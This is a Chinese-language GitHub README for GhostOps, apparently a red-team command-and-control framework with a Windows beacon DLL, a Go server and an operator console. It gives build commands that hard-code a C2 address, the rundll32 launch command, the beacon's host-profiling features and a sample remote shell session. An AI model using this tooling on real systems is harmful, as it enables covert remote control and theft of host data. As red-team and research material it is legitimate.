4w4647/GhostOps

GitHub: 4w4647/GhostOps

一个围绕 Windows 植入 DLL 与 Go 操作员堆栈构建的轻量级命令与控制框架,用于授权红队与安全研究。

Stars: 1 | Forks: 0

# GhostOps 一个用于授权红队行动和安全研究的轻量级命令与控制(C2)框架。 ## 概述 GhostOps 是一个围绕 Windows 植入 DLL 和基于 Go 的操作员堆栈构建的 C2 框架。它旨在具有可读性、可扩展性,并作为理解现代 C2 基础设施如何从头到尾协同工作的坚实基础。 | 组件 | 语言 | 输出 | 角色 | |------|------|------|------| | `beacon/` | C | `beacon.dll` | 部署在目标主机上的植入 | | `server/` | Go | `server` | C2 监听器、Beacon 存储与操作员 API | | `client/` | Go | `client` | 操作员 REPL | ## 架构 ``` Operator │ │ REPL ▼ ┌──────────┐ HTTP (9090) ┌──────────────────────────────────┐ │ Client │ ◄────────────────► │ Server │ └──────────┘ │ ├── C2 listener :8080 │ │ │ POST /checkin │ │ │ GET /tasks/ │ │ │ POST /result │ │ └── Operator API :9090 │ │ GET /beacons │ │ GET /beacons/ │ │ POST /task │ │ GET /results/ │ └──────────────┬───────────────────┘ │ HTTP (8080) ▼ ┌──────────────────────────────────┐ │ Beacon DLL (target host) │ │ ├── main.c DLL entry │ │ ├── context.c host profiling │ │ ├── checkin.c C2 check-in │ │ ├── loop.c sleep / poll │ │ ├── tasks.c task dispatch │ │ └── shell.c cmd.exe pipe │ └──────────────────────────────────┘ ``` 服务器暴露两个独立的监听器:一个用于 **C2 通信** 的 `0.0.0.0:8080` 端口,以及一个仅限本地的 **操作员 API** `127.0.0.1:9090`(用于客户端 REPL)。 ## 功能 ### Beacon 植入 - 通过 `rundll32.exe beacon.dll,BeaconMain` 或任意标准 DLL 加载器加载 - 可配置的睡眠间隔(支持百分比抖动,默认:`5000ms / 10%`) - 完整的主机信息收集: - 主机名、用户名、域、域加入状态 - 操作系统版本与构建号 - 进程名、PID、PPID、架构与会话 ID - 完整性级别与提升状态 - 所有网络适配器的 IP 与 MAC 地址 - 通过 `api.ipify.org` 获取外部 IP - C2 主机与端口在编译时硬编码——不依赖磁盘上的配置文件 ### 任务循环 - Beacon 在每次睡眠轮询时发起 `GET /tasks/` 请求 - 服务器原子化地出队待处理任务,并以 JSON 数组形式返回 - 任务执行完成后,结果通过 `POST /result` 提交,随后进入下一次睡眠 ### Shell 命令执行 - 任务类型 `shell`:执行 `cmd.exe /c `,并通过匿名管道捕获标准输出与标准错误 - 每次任务最多返回 64 KB 的输出 ### 服务器 - 双监听器架构,配备独立的请求多路复用器 - 内存中的 Beacon 存储,支持最后活跃时间记录与过期检测(`> 3× sleep_ms`) - 每个 Beacon 独立的任务队列与结果历史 - 结构化日志记录,涵盖检查点、任务分发与结果提交 ### 操作员客户端 - 上下文感知的交互式 REPL - `beacons`:以表格形式展示所有会话及其活跃状态、完整性级别与操作系统信息 - `use `:选择当前活跃会话 - `info`:展示选定会话的完整信息(身份、系统、进程、网络等) - `shell `:提交一条 Shell 命令,并在下次检查时获取输出 - `tasks`:显示当前会话的所有已完成任务结果 ## 先决条件 ### Beacon(跨平台编译) ``` # Debian / Ubuntu sudo apt install mingw-w64 ``` ### 服务器与客户端(需要 Go 1.21+) ``` # https://go.dev/dl/ ``` ## 构建 ### 服务器与客户端 ``` make ``` 构建产物:`build/client`、`build/server` ### Beacon DLL Beacon 必须显式指定 C2 地址进行编译,以防止意外打包指向 `127.0.0.1` 的载荷。 ``` make beacon BEACON_HOST= BEACON_PORT= # Examples make beacon BEACON_HOST=10.10.14.5 BEACON_PORT=443 make beacon BEACON_HOST=192.168.1.10 BEACON_PORT=8080 ``` 构建产物:`build/beacon.dll` ### 清理并重新构建 ``` make re ``` ## 部署 Beacon ``` rundll32.exe beacon.dll,BeaconMain ``` 执行时,Beacon 将收集主机上下文,执行一次检查点(check-in),并进入睡眠-轮询循环。 ## 操作员工作流 ``` $ ./server [*] C2 listener → 0.0.0.0:8080 [*] Operator API → 127.0.0.1:9090 ``` ``` $ ./client GhostOps C2 GhostOps > beacons ID USER HOSTNAME PID PROCESS ARCH INTEGRITY EXTERNAL IP LAST SEEN OS STATUS ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 3735928559 CORP\j.smith DESKTOP-ABC123 4812 rundll32.exe x64 Medium 203.0.113.42 3s ago Win11 24H2 alive GhostOps > use 3735928559 [*] selected DESKTOP-ABC123 (203.0.113.42) GhostOps [DESKTOP-ABC123] > shell whoami /all [+] queued shell task a1b2c3d4 — output on next check-in GhostOps [DESKTOP-ABC123] > tasks ── task a1b2c3d4 [2026-04-18T22:25:01Z] USER INFORMATION ---------------- User Name SID CORP\j.smith S-1-5-21-... ``` ## 项目结构 ``` . ├── beacon/ │ ├── include/ │ │ └── beacon.h # Shared types and declarations │ └── src/ │ ├── main.c # DLL entry point │ ├── context.c # Host profiling │ ├── checkin.c # HTTP check-in │ ├── loop.c # Sleep / poll loop │ ├── tasks.c # Task polling, JSON parsing, dispatch │ └── shell.c # cmd.exe pipe execution │ ├── client/ │ ├── main.go │ └── internal/ │ ├── display/ # Terminal colour and table helpers │ ├── models/ # Beacon and task data models │ └── repl/ # REPL loop and command handlers │ ├── server/ │ ├── main.go # Dual-listener setup │ ├── handlers/ │ │ ├── c2.go # /checkin /tasks/ /result │ │ └── operator.go # /beacons /task /results/ │ └── store/ │ └── store.go # Beacon store, task queues, result history │ ├── build/ # Compiled artifacts (git-ignored) ├── Makefile └── README.md ``` ## Beacon 使用的 Windows 库 | 库 | 用途 | |----|------| | `winhttp` | HTTP 通信与任务轮询 | | `iphlpapi` | 网络适配器枚举 | | `netapi32` | 域与网络信息获取 | | `bcrypt` | Beacon ID 生成(加密安全随机数) | ## 已知限制 GhostOps 专为实验室环境和授权控制场景设计。以下功能未实现: - 加密的 C2 流量(TLS / HTTPS) - 睡眠混淆或堆栈欺骗 - AMSI / ETW 篡改 - EDR 无 Hook - 纯内存阶段(in-memory staging) - 域名前置(Domain Fronting)或可变 HTTP 特征 - 进程注入或迁移 在成熟的 EDR 或 SOC 环境中进行检测是预期的行为。
标签:Beacon, C2服务器, C2框架, EVTX分析, Go语言, HTTP通信, REPL, 命令与控制, 命令执行, 安全学习资源, 客户端服务器架构, 开源安全工具, 操作员控制台, 数据展示, 日志审计, 植入体, 植入式DLL, 横向移动, 程序破解, 红队, 编程规范, 网络安全, 逆向工程平台, 隐私保护, 隐蔽通信